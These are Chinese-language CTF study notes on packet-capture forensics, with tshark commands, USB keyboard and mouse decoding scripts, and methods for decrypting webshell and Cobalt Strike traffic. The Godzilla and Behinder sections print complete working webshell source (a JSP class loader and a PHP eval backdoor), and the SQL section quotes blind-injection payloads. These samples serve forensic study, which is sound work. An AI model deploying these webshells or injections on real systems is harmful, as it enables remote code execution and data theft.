流量分析
流量分析
一行叫包,tcp三握到四挥这部分流量叫流,追踪流追踪的就是这段流量
pcap文件修复
pcapfix - online pcap / pcapng repair service (f00l.de)
tshark
-r *.pcap #指定要分析的文件
-T 模式 -e 指定字段
T:
fields:字段模式,只输出指定字段的内容,搭配-e
text:以纯文本格式输出
-e:
ip.src:目标ip
dns.qry.name:dns域名
http.request.uri:请求的uri
http.file_data:get或post的值(返回包内容也行)
-Y和-R:都是过滤器,过滤数据包,-Y只支持简单条件表达式,-R支持更多过滤语法
对于-e参数的拼写,我们可以通过wireshark了解
如:现在我们要提取这个http response包中,请求包的uri,我们可以
tshark -r blindsql.pcapng -Y "http.response" -T fields -e http.response_for.uri > blind.txt
提取HTTP分组中的负载内容
tshark -r input.pcapng -Y "http" -T fields -e http.file_data
提取usb协议中的HID Data数据,并写入usbhid.txt
tshark -r capture.pcapng -T fields -e usbhid.data > usbhid.txt
提取POST请求的url值
tshark -r sqlshark.pcap -Y "http.request.method == POST" -T fields -e http.request.uri > blind.txt
提取POST请求提交的post值
tshark -r sqlshark.pcap -Y "http.request.method == POST" -T fields -e http.file_data > blind.txt
smtp
SMTP(Simple Mail Transfer Protocol):简单邮件传输协议。端口号:tcp25
文章:Wireshark对SMTP抓包分析 - 知乎 (zhihu.com)
摘要:
1、响应代码220表示连接建立成功,后面的Anti-spam是一种用于过滤和阻止垃圾邮件的技术
2、服务端返回220代码之后,客户端继续发送请求,发送EHLO或者是HELO命令来声明身份,EHLO要更加安全
3、服务端接收到客户端的EHLO请求之后,返回了一个250代码并且附带了支持的身份验证方式,客户端使用AUTH命令进行身份验证,身份验证成功后会返回235的成功代码
4、客户端MAIL FROM
命令声明邮件的发件人,RCPT TO
命令声明邮件的收件人,服务器返回250代码确定操作成功
5、客户端使用DATA命令,告知服务器要开始传输邮件的正文内容,服务端返回354代码,告知邮件的内容结束以<CR><LF>.<CR><LF>
为标记,客户端接收到354代码后,开始传输邮件内容
6、客户端发送完邮件内容之后,还会接着发送一个QUIT命令来表示结束这次的SMTP传输,服务器在接受到数据之后会返回250代码表示接受成功并且再返回221代码表示结束本次SMTP传输。
smtpflag.pcap
在建立连接后有user和pass,base64解密
smtp_cotent.pcapng
smtp明文传输,直接追踪tcp流
smtp_attachment.pcapng
追踪tcp流,和上面一样,解一下出现的base64,发现最后一个是base64加密后的文件,解密保存,打开结束
http_smtp.pcapng
导出http对象,下载加密zip,追踪smtp对应tcp流,找到解压密码
ftp-smtp.pcapng
和上题一样,换成导出ftp-data对象
FTP
与 FTP 协议相比,SFTP 在客户端与服务器间提供了一种更为安全的文件传输方式
TFTP协议不需要验证客户端的权限,FTP需要进行客户端验证
FTP-DATA:在服务器和客户端之间传输文件数据的数据连接
FTP(File Transfer Protocol):文件传输协议,端口:TCP20,21
主动模式:服务端发起数据连接。客户端使用随机端口连接,服务器主动向客户端的随机端口进行连接
被动模式:客户端发起数据连接。 客户端和服务端都是随机端口,客户端向服务器的随机端口进行连接,服务器被动连接
Response code: Service ready for new user (220)
,意思是FTP返回码220,FTP服务做好了用户登录的准备
客户端发送USER 用户名,服务器返回331状态码,要求用户传送密码,PASS 密码,最后服务器返回230状态码登录成功
后面的SITE,PWD,PASV等是ftp命令
FTP.pcap
如上图,密码
traffic-5.pcap
题目说为什么不是sftp,先想着搜索sftp流量,发现没有,那应该意思是说该流量是ftp(批评不用sftp的意思)
上面的流量是ftp的登录和一些命令,下面是向服务器请求zip压缩包,
找到该zip,下载,打开拿到flag(记得追踪流,分多个包发送的)
leakage.pcap
首先修复文件,两个途径发现key.zip
导出ftp-data对象,下载key.zip,得到73686b696b7475,十六进制解码
ftp-data.pcapng
导出ftp-data对象,下载txt,结束
ssPacket.pcapng
导出ftp-data对象,下载了一个加密的zip,依题目找解压密码
找了追踪了tcp流,无果,都是些命令
发现有http,筛选一下
http/https
HTTP(Hypertext Transfer Protocol):请求-响应协议
http.pcap
导出对象
导出http流的对象,(看各种东西更方便)
可疑主机和文件,点击选中它,并点中间保存按钮保存php文件
Forensics-Four Eyes.pcap
由题目可知:1、监控http流量,2、登录www.2dehands.be的密码
导出对象并筛选该主机
这个最特别
保存并访问,拿下密码
online_game.pcap
由题目知:网站-->http流量,具体筛选网站:tribalwars
保存第二个
Espionage-sniffed_updated.pcap
导出http对象后,文件大小排序
下载压缩包,一段音频隐写,左边选择频谱图
data.pcap
题目找密码,直觉导出http对象,发现
密码base64解密
ispy.pcapng
筛选了一下http,结果第一个图片就是flag,蒙圈
john-in-the-middle.pcap
题目意思明显,导出http对象,发现html网站和对应的js文件,还有很多张图片,对logo进行图片隐写
lolteam.pcapng
题目:找密码,筛选(本身以为这个是假的,结果。。。),结束
fixed_weird_shark.pcap
导出http对象,pdf文档
http_header.pcapng
由题目知:http流量头,追踪一下http流,base64解密
fpcap.pcapng
简短的流量,筛选个http,登录-->访问php文件,下载zip
追踪的http流中有密码123@pass,解密zip,结束
SString.pcapng
导出http对象,一个html,追踪smtp的tcp流,另一个html
写出解密函数
function decode($str)
{
$string = str_rot13($str);
$string = strrev($string);
$string = base64_decode($string);
$ans = '';
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$ordChar = ord($char) - 1;
$char = chr($ordChar);
$ans = $ans . $char;
}
return strrev($ans);
}
flag{603d7237fa0d52977}
fileUpload.pcapng
题目:登录网站:http流
导出对象php文件,base64解码
找数值怪(大or小)
net_....b.pcap
没啥思路,随便导出了http流量,发现有个特别大的文件,得到密码,不是密码佬,直接跑路
intercept.pcap
题目:找密码
没意思,从http流量中可以看出,他父亲登录第一次错误,第二次密码才正确
SSL/TLS
HTTPS使用了SSL/TLS协议,SSL是 TLS 的前身,TLSv1.2则是1.2版本,保证信息安全的要素
文章:
流量包超细致分析:Wireshark 抓包理解 HTTPS 请求流程_wireshark导入密钥还是encrypt alert-CSDN博客
TLSv1.2介绍及Https协议SSL建立过程分析(OpenSSL源码)-CSDN博客
摘要:
tcp建立连接后,客户端发送client hello包给服务器(包含支持的TLS版本、随机数、支持的加密算法)
服务器响应server hello包,证书,公钥交换,hello结束等,之后就是加密数据的传输
dump.pcap
题目找罪魁祸首-->找人
筛选ssl流量后,找到服务器响应包里的证书颁发者(issuer)
greatescape.pcap
首先找ssc.key,查找ssc.key,发现是ftp传输,导出ftp-data对象,下载
wireshark中->编辑->首选项->Protocols->SSL->edit->+号->Key File->输入ssc.key->OK(SSL不行就改成TLS)
第一种:导出对象
第二种:http contains "FLAG"
http contains 'FLAG'
http contains FLAG,哪种行,用哪种
client.pcap
给了秘钥,直接用,发现两个http,一看就是key了
sql流量
布尔盲注
1、查看注入语句
2、根据响应包长度过滤流量
3、导出流量,脚本获取flag
get
hgame blindsql
1、查看注入语句
/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),1,1))%3E63)
2、响应包的长度为708和723,对应的帧长度为726和740,这里我们用帧长度来提取(自己判断一下哪个是注入成功语句的长度)
tshark -r blindsql.pcapng -Y "http.response && frame.len==740" -T fields -e http.response_for.uri > blind.txt
(用word提前把前面的东西删了)
3、脚本
with open(文件,'r') as file:
num = 1
tmp = ''
flag = ''
for line in file:
# 1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),1,1))%3E125)
# split的内容为两个变数值之间的字符串
part = line.split(',1))%3E')
part1 = ''.join(part[0])
part1 = part1.split(',')[1]
part2 = part[1].split(')')[0]
if int(part1) == num+1:
flag = flag+chr(int(tmp))
num = num+1
tmp = part2
print(flag)
post
vnctf sqlshark
官方jio本(pyshark记得改ini配置)
修改正则和返回包成功信息
import pyshark, re
cap = pyshark.FileCapture(文件, display_filter='http')
last_packet = None
last_text = ''
result = {}
def extract(text):
# 正则匹配
a = re.search('Value.*frOm (\d*).*in\((\d*)\).*#', text)
key, value = a.group(1), a.group(2)
result[key] = value
# print(key,value)
for packet in cap:
text = str(packet.layers[-1:][0])
# 成功注入的返回包里的内容
if 'success' in text and last_packet is not None:
extract(last_text)
last_packet = packet
last_text = text
for c in result:
print(chr(int(result[c])), end='')
时间盲注
Wireshark数据包分析——时间盲注/延时注入攻击_盲注 frame.time_delta>3-CSDN博客
没遇到过题,先留个文章
工具
SQLBlind_Tools-main
-h, --help show this help message and exit
-f FILE, --file FILE PCAP文件路径
-r REGEXP, --regexp REGEXP 使用指定正则表达式提取数据
-o OUTPUT, --output OUTPUT 将所有URI输出到指定文件中
python3 .\sqlblind_tools.py -f 文件
telnet
Telnet(teletype network):远程登录服务
是Internet远程登陆服务的标准协议和主要方式,基于传输层的TCP协议且通过telnet协议实现的传输的所有数据都是明文形式,包括用户名和密码,利用这一特性我们可以直接跟踪TCP数据流
networking.pcap
TELNET.pcap
题目提示找会话账号和密码
一个一个分析,左下角可能是telnet一些会话的东西(maybe)
可以一个一个翻下来,也可以分组详情搜索login,然后追踪字节流
telnet_cmd.pcapng
追踪tcp流,telnet分多个传输一个字节,追踪流一下看出来
SSH
SSH 和 telnet 之间的主要区别在于 SSH 提供完全加密和经过身份验证的会话。而telnet缺少安全的认证方式,而且传输过程采用TCP进行明文传输
摘要:SSH工作过程
1、版本号协商
2、密钥和算法协商
3、SSH客户端向服务器端发起认证请求, 服务器端对客户端进行认证
4、客户端向服务器端发送会话请求
5、服务器端同意请求后和客户端进行信息的交互
WebSocket 主要用于实时通信,适合于需要实时性的 Web 应用场景,而 NFS 则主要用于文件共享和存储访问
nfs.pcapng
在这里的nfs是websocket,不知道为什么,追踪tcp流
dns
DNS(domain name system)域名系统,端口:udp53
tips
一般是在域名前(低级域名)处添加信息
筛选dns,发现访问不可访问域名,筛选
保存文件,不是脚本小子,就只能一个一个复制粘贴了,最后解码
USB
参考:
CTF流量分析常见题型(二)-USB流量_ctf usb流量分析-CSDN博客
USB HID 流量分析详解_usbhid.data分析-CSDN博客
老板wireshark把USB协议数据部分在Leftover Capture Data域中,在新版的 Wireshark 已经支持了 USB HID 的解析,所以原本的数据被解析成了 HID Data。
鼠标流量
数据长度为四个字节
第一个字节代表按键
当取0×00时,代表没有按键
当取0×01时,代表按左键
当取0×02时,代表当前按键为右键
第二个字节可以看成是一个signed byte类型,其高位为符号位
值为正时,代表鼠标水平右移多少像素
值为负时,代表鼠标水平左移多少像素
第三个字节与第二字节类似,代表垂直上下移动的偏移。
值为正时,代表鼠标上移多少像素位
值为负时,代表鼠标下移多少像素位
capture.pcapng
四字节,鼠标流量
tshark提取数据
tshark -r capture.pcapng -T fields -e usbhid.data > usbdata.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata
会有一些多余的换行,删掉
接下来,将字节用:
隔开,脚本(键盘和鼠标流量长度不一样,使用时注意):
# encoding:utf-8
f=open(源文件,'r')
w=open(生成文件,'w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8: # 键盘流量len=16,鼠标流量len=8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
w.write(out)
w.write('\n')
else:
break
w.close()
计算鼠标位移,脚本(注意修改btn_flag,代表使用了鼠标左键还是右键):
# encoding:utf-8
nums = []
keys = open(源文件,'r')
f = open(生成文件,'w')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 : # 1代表左键,2代表右键
f.write(str(posx))
f.write(' ')
f.write(str(posy))
f.write('\n')
f.close()
画图:
1、gnuplot
2、python
import matplotlib.pyplot as plt
import numpy as np
x, y = np.loadtxt(文件, delimiter=' ', unpack=True)
plt.plot(x, y, '.')
plt.show()
键盘流量
cap--大写,del--删除
数据长度为八个字节
键盘击键信息集中在第三个字节中
usb1.pcapng
8字节,键盘流量
基本和鼠标流量流程一样
提取键盘数据:
tshark -r usb1.pcapng -T fields -e usbhid.data > usbhid.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata
加分号:
# encoding:utf-8
f=open(源文件,'r')
w=open(生成文件,'w')
while 1:
a=f.readline().strip()
if a:
if len(a)==8: # 键盘流量len=16,鼠标流量len=8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
w.write(out)
w.write('\n')
else:
break
w.close()
还原键盘字符:
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open(文件)
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
键盘版本问题
CISCN2022 ez_usb
有两种版本的键盘流量,需要分别提取解(注意键盘流量字符长度为16)
tshark -Y "usb.src==2.8.1" -r ez_usb.pcapng -T fields -e usbhid.data > usbhid1.txt
然后就是上面键盘流量提取的步骤
注意点是[DEL]字符记得删掉前面那个字符,unknown直接删,密码字母大小写改变
1:
526172211A0700CF907300000D00000000000000C4527424943500300000002A00000002B9F9B0530778B5541D33080020000000666C61672E747874B9BA013242F3AFC000B092C229D6E994167C05A78708B271FFC042AE3D251E65536F9ADA87C77406B67D0E6316684766A86E844DC81AA2C72C71348D10C43D7B00400700
2:35c535765e50074a
键盘流量加强版
特殊情况
- 同时按下多个键或长时间按下某个键均未处理
- 不应该在for i in range(len(output))的同时修改output,很容易出现错位
- DEL应该后于CAP LOCK处理,否则可能会出现删除CAP LOCK键的⾏为
- shiftKeys 字典的数据存在部分错误
hgame.pcap
tshark -r capture.pcapng -T fields -e usbhid.data > usbdata.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata
将导出的usbdata.txt喂给它
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09":
"f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12":
"o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b":
"x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24":
"7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "< SPACE > ", "2d": " - ", "2e": " = ",
"2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'",
"35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "< F4 > ", "3e": " < F5 > ",
"3f": " < F6 > ",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "< F11 > ", "45": " < F12 > "}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F",
"0a": "G", "0b": "H", "0c": "I", "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
"13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X",
"1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&",
"25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "< SPACE > ", "2d": "_", "2e": " + ",
"2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35":
"<TILDE>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "< F4 > ", "3e": " < F5 > ",
"3f": " < F6 > ",
"40": "<F7>",
"41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "< F11 > ", "45": " < F12 > "}
output = []
last = []
new = []
keys = open(文件)
press = ''
for line in keys:
try:
if line[2] != '0' or (line[3] != '0' and line[3] != '2'):
continue
offset = 6
new = []
while line[offset:offset + 2] != '00':
press = line[offset:offset + 2]
if press in normalKeys.keys():
if line[3] == '0':
key = normalKeys[press]
else:
key = shiftKeys[press]
else:
key = '[unknown]'
if press not in last:
output.append(key)
new.append(press)
offset += 2
except:
print(line)
finally:
last = new
keys.close()
flag = 0
print("".join(output))
for i in range(len(output)):
try:
if output[i] == "<CAP>":
flag = 1 - flag
if flag != 0:
output[i] = output[i].upper()
except:
pass
output = [x for x in output if x != '<CAP>']
new_output = []
for i in range(len(output)):
if output[i] == "<DEL>":
new_output = new_output[:-1]
else:
new_output.append(output[i])
print ('output :' + "".join(new_output))
电话
RTP
voip.pcap
播放音频得到flag(不知道在讲什么鸟语,直接wp启动)
shell工具
蚁剑
蚁剑码部分代码
请求包部分
蚁剑码的请求包会post多个参数,参数顺序和个数可能变(最上面的1是一句话木马参数)
上图的1的值是一个txt文本路径,2是蚁剑代码,3是文本的内容
tips
请求包可找较短的值,base64解一下,乱码的话就去掉前两个字符,然后再base64decode
返回包部分
蚁剑请求包的码中有这样的代码,我们的返回包只需删除前面'81291'和最后的'e0fca92ac'然后再base64解码即可得到返回的数据
去掉首尾,剩下MQ==,返回了个1
菜刀
菜刀数据包.pcapng
菜刀是常见的连接webshell的工具,连接webshell会有明显的GET或POST请求。所以我们只需要找数据包的HTTP请求就行了
一个一个看下来,上面应该是菜刀在不断找upload路径,找到hello.rar,(->|.....|<-)或X@Y是菜刀流量包的特征
一些特殊流量结构:Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理_冰蝎2.0流量特征_OceanSec的博客-CSDN博客
下一个流量包89504E47,明显png图,保存
caidao.pcapng
筛选http流量,分析POST包,发现这三个POST包是提交要执行菜刀想执行的代码,第一个POST包执行后,返回了目录列表,第二个返回php一句话木马,第三个返回乱码
转码一下第三个包,猜测文件是以压缩形式返回,提出乱码包的字节流,删去前三个和后三个菜刀流量特征值,然后选择压缩形式
pcap.pcap
随便追踪了个http流,发现是打dvwa靶场(并没卵用)
随便往下翻了一点,发现请求的很多目录都是404,一直翻到底,发现开始访问shell.php,发现菜刀特征流量标识,且知道是以base64加密,搜索ZmxhZ3(flag base64加密串)
哥斯拉
文章:
哥斯拉还原加密流量_ctf misc 哥斯拉流量解密脚本-CSDN博客
【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户
哥斯拉载荷:php、jsp、asp
解密要aes key
php
流量特征
密码
:和蚁剑、菜刀一样,密码
就是POST请求中的参数名称。例如,密码为pass
时,哥斯拉提交的每个请求都是pass=xxxxxxxx
这种形式
密钥
:用于对请求数据进行加密,不过加密过程中并非直接使用密钥
明文,而是计算密钥
的md5值,然后取其前16位用于加密过程
哥斯拉连接
第一个请求包包含PHP_XOR_BASE64(可能是其他的加密器)加密的shell代码,服务器返回phpsession(后期请求带上cookie)
第二个请求测试连接命令test
,返回少量数据(即ok
)
解密后的请求格式{‘methodName’: ‘test’.........}可能还有其他参数
第三个请求为各种命令,如获取服务器基础信息的命令getBasicsInfo
,返回服务器基础信息
解密后的请求格式{‘methodName’: ‘getBasicsInfo’}
可能会重复执行两次,之后就是各种命令执行
类型
-
php_xor_base64
-
php_eval_xor_base64
-
php_xor_raw
-
http_php_xor_raw
以php_eval_xor_base64为例(RAW类型可以看看java是怎么解的)
PCTF wyz大战哥斯拉
https://www.cnblogs.com/xhzccy/p/17880921.html
总结
(可能所有加密器都这样):
对于MethodName的请求包,丢到第一个解密算法
请求命令包丢到第二个解密算法
response包先删前16个字符,再删后16字符,得到和命令包一样的结构后,丢到第二个解密算法
更新:直接丢到第三个解密
java
类型
- JAVA_AES_BASE64
- JAVA_AES_RAW
以JAVA_AES_RAW为例(BASE类型可以看看是php怎么解的)
[第二届陇剑杯]hard_web
jsp马,一般AES的key在第一行
<% ! String xc="748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch (Exception e) {
return null;
}
}
%><%try {
byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream=request.getInputStream();
int _num=0;
while ((_num+=inputStream.read(data, _num, data.length))<data.length);
data=x(data, false);
if (session.getAttribute("payload")==null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
}
else {
request.setAttribute("parameters", data);
Object f=((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
}
catch (Exception e) {}
%>
toto爷脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip
def aes_decrypt_ecb(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
return plaintext
ciphertext = bytes.fromhex("")
key = b'748007e861908c03'
plaintext = aes_decrypt_ecb(ciphertext, key)
print(gzip.decompress(plaintext).decode("UTF-8"))
不管是请求还是返回包,都是这样解
将数据丢到解密脚本即可解密
cobalt strike
beacon模式
流量特征
get方法向/dpixel
、/__utm.gif
、/pixel.gif
等地址发起请求(重复有规律get某地址)
cookie是一串base64的值,这是cs流量的元数据
POST /submit.php?id=一串数字,post值为0000开头的data,这是cs流量的发送任务数据
解密
解密要.cobaltstrike.beacon_keys文件
.cobaltstrike.beacon_keys文件:CS通信时加密的RSA公私钥都在这个文件里,想解密cs流量就需要文件里的私钥,文件的本质是一个java序列化后的字节流
元数据
toto爷脚本:需要修改rsa_cipher_text(元数据)
import base64
import hexdump
import hashlib
import argparse
import javaobj.v2 as javaobj
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
help="输入JAVA序列化文件 .cobaltstrike.beacon_keys 路径")
return parser.parse_args()
def get_RSA_PriKey(SerializeKeyPath):
with open(SerializeKeyPath, "rb") as fd:
pobj = javaobj.load(fd)
privateKey = pobj.array.value.privateKey.encoded.data
publicKey = pobj.array.value.publicKey.encoded.data
privateKey = (
b"-----BEGIN PRIVATE KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
+ b"-----END PRIVATE KEY-----"
)
publicKey = (
b"-----BEGIN PUBLIC KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))
+ b"-----END PUBLIC KEY-----"
)
privateKey = privateKey.decode()
publicKey = publicKey.decode()
return publicKey, privateKey
def create_PK_Cipher(privateKey):
privateKey = RSA.import_key(privateKey.encode())
n_bytes = privateKey.n.bit_length() // 8
cipher = PKCS1_v1_5.new(privateKey)
return cipher, n_bytes
def private_decrypt(cipher_text, privateKey):
cipher, n_bytes = create_PK_Cipher(privateKey)
cipher_text = base64.b64decode(cipher_text.encode())
return b''.join(
cipher.decrypt(cipher_text[i : i + n_bytes], 0)
for i in range(0, len(cipher_text), n_bytes)
)
def get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text):
_, privateKey = get_RSA_PriKey(SerializeKeyPath)
if not (plain_text := private_decrypt(rsa_cipher_text, privateKey)):
print("[+]: 解密错误, 可能是RSA_Cipher_Text或者密钥有误!")
exit(-1)
raw_aes_keys = plain_text[8:24]
raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
digest = raw_aes_hash256.digest()
aes_key = digest[:16]
hmac_key = digest[16:]
return aes_key, hmac_key, plain_text
if __name__ == '__main__':
args = parse_arguments()
SerializeKeyPath = args.f
rsa_cipher_text = "元数据"
aes_key, hmac_key, plain_text = get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text)
print(f"AES key: {aes_key.hex()}")
print(f"HMAC key: {hmac_key.hex()}")
hexdump.hexdump(plain_text)
python3 .\cobalt_strike.py -f .cobaltstrike.beacon_keys
得到AES和HMAC key
WBGlIl/CS_Decrypt (github.com)
利用Beacon_Task_return_AES_Decrypt.py解密发送任务数据
发送任务数据
AES和HMAC key就是上面解出来那两个,发送任务数据需要base64编码
编码问题
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
如果有这种编码问题,就将文件倒数第二代码编码格式改一下(utf-16,gbk,ISO-8859-1)
冰蝎
冰蝎2的key是随机生成的,冰蝎3的key是设定好的
解密要aes key
php
以冰蝎3为例
SICTF2022-hacker2
冰蝎的马:key值有了
<?php
@error_reporting(0);
session_start();
$key="7d7c23e87b47368b"; //0123456789abcdef
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
toto脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def aes_decrypt_cbc(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
return plaintext
ciphertext_base64 = b''
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16 # 16 bytes of zeros
plaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)
注:前两个请求包解出来变量content和whatever,里面部分暂不能很有效的解出明文
后面的流量就正常解就好了
把数据丢进解密脚本
这串base64解出来的马,代码最下面就是这次要执行的命令
返回值一样丢进脚本解就好了
前面status的状态值是固定的(maybe),base64解出来是success
后面msg就是返回命令的执行结果,base64解就行了
java
找jsp马,得key,好像shell工具很多都是这样的过程,和其他一样就行
隧道工具
dns隧道
文章:内网隐蔽隧道-DNS隧道流量分析 - FreeBuf网络安全行业门户
dns隧道分为直连和中继两种。
直连是Client直接指定的目标DNS Server,数据编码直接封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,而且一般不允许自己指定DNS Server
DNS迭代查询而实现的中继隧道更为隐秘,如图:
防火墙限制无法访问外网,但DNS的流量放行,本地和host没有对应记录,迭代查询找各级域服务器,这个过程会形成一个逻辑信道,将通信的数据封装客户端查询的请求中(客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm.test.domain.com,其中2roAUwBaCGRuc3R1bm则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstun。),到达我们控制的权威DNS Server,解析数据,并以同样方式将数据返回client。
注:
如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。
具体做法可看上面的dns流量
dns隧道工具
Dns2tcp,Dnscat2,iodine,dnscrypt-proxy
dnscat2:域名前有dnscat开头
nmap
Nmap常见扫描方式流量分析 - fan-tastic - 博客园 (cnblogs.com)
SYN扫描
nmap默认扫描形式
例:靶机133,攻击机131
端口开放的通信流量:
端口未开放的流量:
过滤目标ip
未开放的80端口
开放的445端口
看颜色也知道谁开了
nmap扫描最后,还会再扫一次已开放端口(通过流量猜的),上面扫出的135、139、445,最后又扫了一次
全扫描
其他
追踪流
irc.pcap
追踪tcp流后,原本想直接搜flag,结果满屏的flag,flag{又搜不到,我就往下一直看,发现交流的内容有说分组发送
原来直接搜ctf{就行
passwd.pcap
题目要求找密码,搜索pass,并追踪流
直接提交password发现不对,想到wireshark里面乱码字符都用.替代,可能这几个点有问题
右下角hex转储,会显示十六进制,ascll码和原数据,7f是del
键,0d是换行
三个del将00R删了,一个del将a删了,最后backdoorm8te
pcap.pcapng
啥信息没有,看wp说搜password,然后追踪流咯
easycap.pcap
全是tcp包,简单看一下几个包
发现每个包返回一字节数据,追踪一下流,结束,真题目easy了
first_contact.pcap
追踪一下tcp流
37 14'06"N 115 48'40"W
problem.pcap
不想说了,一个包